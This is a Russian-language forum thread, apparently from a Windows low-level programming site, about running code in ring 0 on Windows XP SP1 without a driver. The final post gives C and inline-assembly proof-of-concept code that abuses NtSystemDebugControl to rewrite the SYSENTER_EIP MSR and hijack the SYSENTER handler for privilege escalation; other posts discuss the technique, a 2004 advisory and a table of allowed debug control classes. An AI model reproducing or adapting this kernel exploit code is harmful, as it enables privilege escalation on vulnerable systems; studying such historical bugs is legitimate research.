что такое АП ядра? Мы же вроде разобрались в каком-то топике, что в винде для любого процесса заполнена таблиа\ца страниц для верхних 2х Gb? В Винде: Код (Text): ; ; When we trap into the kernel via fast system call we start on the DPC stack. We need ; shift to the threads stack before enabling interrupts. ; mov ecx, PCR[PcTss] ; mov esp, [ecx]+TssEsp0
адреса 0x80000000-0xFFFFFFFF а в адресном пространстве процесса потому как адрес функции, который мы кладем в MSR EIP < 0x80000000
Афтару: Несмотря на то, что команда SYSENTER выполняет переход в режим ядра, выполнятся в режиме ядра будет отнюдь не твой код, а системный вызов, который ты запросишь. Этот системный вызов (код в режиме ring0) трижды проверит все параметры, которые ты ему передал, и уж потом выполнит их обработку. Т.е. команда SYSENTER не выполняет твой код, в режиме ядра, а всеголишь сигнализирует системе что нужно выполнить обработку твоих входных данных. Драйвер же - является исполнимым кодом, написанным тобой, и драйвер, будучи загруженным получает _управление_, т.е. он может выполнять написанный тобой код. Здесь контроля намного меньше и многие операции доступны. Так что для того, чтобы выполнять активные действия, а не просто вызывать системные функции, нужен драйвер.
ntcdm Я уже писал, что можно подменить обработчик, причем юзермодной функцией =) PS. Ну а так ты прав, конечно.
Great Все это, конечно, очень здорово, респект. Но имхо, это просто извращение и проще наваять драйвер.
n0name Не знаю, не смотрел.. а чем она отличается особо? Если ты про \Device|PhysicalMemory, то я не про это.
Код (Text): "System Debug Class" "Access" "NTSTATUS" SysDbgQueryModuleInformation BLOCKED NOT_IMPLEMENTED SysDbgQueryTraceInformation BLOCKED NOT_IMPLEMENTED SysDbgSetTracepoint BLOCKED NOT_IMPLEMENTED SysDbgSetSpecialCall BLOCKED NOT_IMPLEMENTED SysDbgClearSpecialCalls BLOCKED NOT_IMPLEMENTED SysDbgQuerySpecialCalls BLOCKED NOT_IMPLEMENTED SysDbgBreakPoint ALLOWED - SysDbgQueryVersion BLOCKED NOT_IMPLEMENTED SysDbgReadVirtual BLOCKED NOT_IMPLEMENTED SysDbgWriteVirtual BLOCKED NOT_IMPLEMENTED SysDbgReadPhysical BLOCKED NOT_IMPLEMENTED SysDbgWritePhysical BLOCKED NOT_IMPLEMENTED SysDbgReadControlSpace BLOCKED NOT_IMPLEMENTED SysDbgWriteControlSpace BLOCKED NOT_IMPLEMENTED SysDbgReadIoSpace BLOCKED NOT_IMPLEMENTED SysDbgWriteIoSpace BLOCKED NOT_IMPLEMENTED SysDbgReadMsr BLOCKED NOT_IMPLEMENTED SysDbgWriteMsr BLOCKED NOT_IMPLEMENTED SysDbgReadBusData BLOCKED NOT_IMPLEMENTED SysDbgWriteBusData BLOCKED NOT_IMPLEMENTED SysDbgCheckLowMemory BLOCKED NOT_IMPLEMENTED SysDbgEnableKernelDebugger ALLOWED - SysDbgDisableKernelDebugger ALLOWED - SysDbgGetAutoKdEnable ALLOWED - SysDbgSetAutoKdEnable ALLOWED - SysDbgGetPrintBufferSize ALLOWED - SysDbgSetPrintBufferSize ALLOWED - SysDbgGetKdUmExceptionEnable ALLOWED - SysDbgSetKdUmExceptionEnable ALLOWED - SysDbgGetTriageDump BLOCKED NOT_IMPLEMENTED SysDbgGetKdBlockEnable ALLOWED - SysDbgSetKdBlockEnable ALLOWED - SysDbgRegisterForUmBreakInfo BLOCKED INVALID_INFO_CLASS SysDbgGetUmBreakPid BLOCKED INVALID_INFO_CLASS SysDbgClearUmBreakPid BLOCKED INVALID_INFO_CLASS SysDbgGetUmAttachPid BLOCKED INVALID_INFO_CLASS SysDbgClearUmAttachPid BLOCKED INVALID_INFO_CLASS
Извените, что вмешиваюсь в такую старую тему. А этот баг не прикрыт был ближайщими сервис паками, который вы обсуждаете ? На сколько понимаю речь идет об этом ? http://www.securitytracker.com/alerts/2004/Feb/1009128.html
Линк читай... ХП сп1 баг был найден, СП2 не существовало тогда еще.. Я этот метод пробывал на своей хп, прога вылетает..
wertyman читать-то я читал, спасибо) я про это давнго в курсе. я не знаю, может там специально ошибка или ты просто собрал не так. я сам реализовывал такое на си, все прекрасно работает.
Код (Text): __declspec(naked)NTSTATUS __stdcall Int2eNtSystemDebugControl(...) { __asm { cmp SST_NtSystemDebugControl, 0 jz failed mov eax, SST_NtSystemDebugControl lea edx, [esp+4] int 0x2e retn 0x14 failed: mov eax,0xc00000001 // STATUS_UNSUCCESSFUL retn 0x14 } } BOOL ReadMsr(LONG MsrNum, ULONGLONG *ret) { MSR_STRUCT Msr = {0}; Msr.MsrNum = MsrNum; NTSTATUS ns = 0; //NTSTATUS ns = Int2eNtSystemDebugControl(SysDbgSysReadMsr, &Msr, sizeof(Msr), NULL, 0, 0); if (ns != STATUS_SUCCESS) { #ifdef DBG DbgMsg(__FILE__, __LINE__, "NtSystemDebugControl() fails; status 0x%.8x\n", ns); #endif } *ret = Msr.MsrValue; OutputDebugString("blya\n"); return 1; } BOOL WriteMsr(LONG MsrNum, ULONGLONG Value) { MSR_STRUCT Msr = {0}; Msr.MsrNum = MsrNum; Msr.MsrValue = Value; NTSTATUS ns = Int2eNtSystemDebugControl(SysDbgSysWriteMsr, &Msr, sizeof(Msr), NULL, 0, 0); if (ns != STATUS_SUCCESS) { #ifdef DBG DbgMsg(__FILE__, __LINE__, "NtSystemDebugControl() fails; status 0x%.8x\n", ns); #endif return FALSE; } return TRUE; } // MSRs for SYSENTER #define SYSENTER_CS_MSR 0x174 #define SYSENTER_ESP_MSR 0x175 #define SYSENTER_EIP_MSR 0x176 // SYSENTER macro #define sysenter _asm _emit 0x0f _asm _emit 0x34 #define sysexit _asm _emit 0x0f _asm _emit 0x35 ULONG ring0_handler; __declspec(naked) void sysenter_hnd(void) { __asm { cli pushfd pushad call dword ptr [ring0_handler] popad popfd mov edx,offset sysenter_ret sysexit sysenter_ret: ret } } __declspec(naked) void CallSysenter(void) { __asm { mov ecx, esp sysenter ret } } BOOL call_r0(ULONG caller) { ULONGLONG OldSysenterHandler; ring0_handler = caller; ReadMsr(SYSENTER_EIP_MSR, &OldSysenterHandler); if (OldSysenterHandler) { SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); if (WriteMsr(SYSENTER_EIP_MSR, (ULONGLONG)sysenter_hnd)) { CallSysenter(); WriteMsr(SYSENTER_EIP_MSR, OldSysenterHandler); } SetPriorityClass(GetCurrentProcess(), NORMAL_PRIORITY_CLASS); } return TRUE; } код отличаеться ? имхо, баг прикрыли... потому что не может такая дырка оставаться долго не закрытой!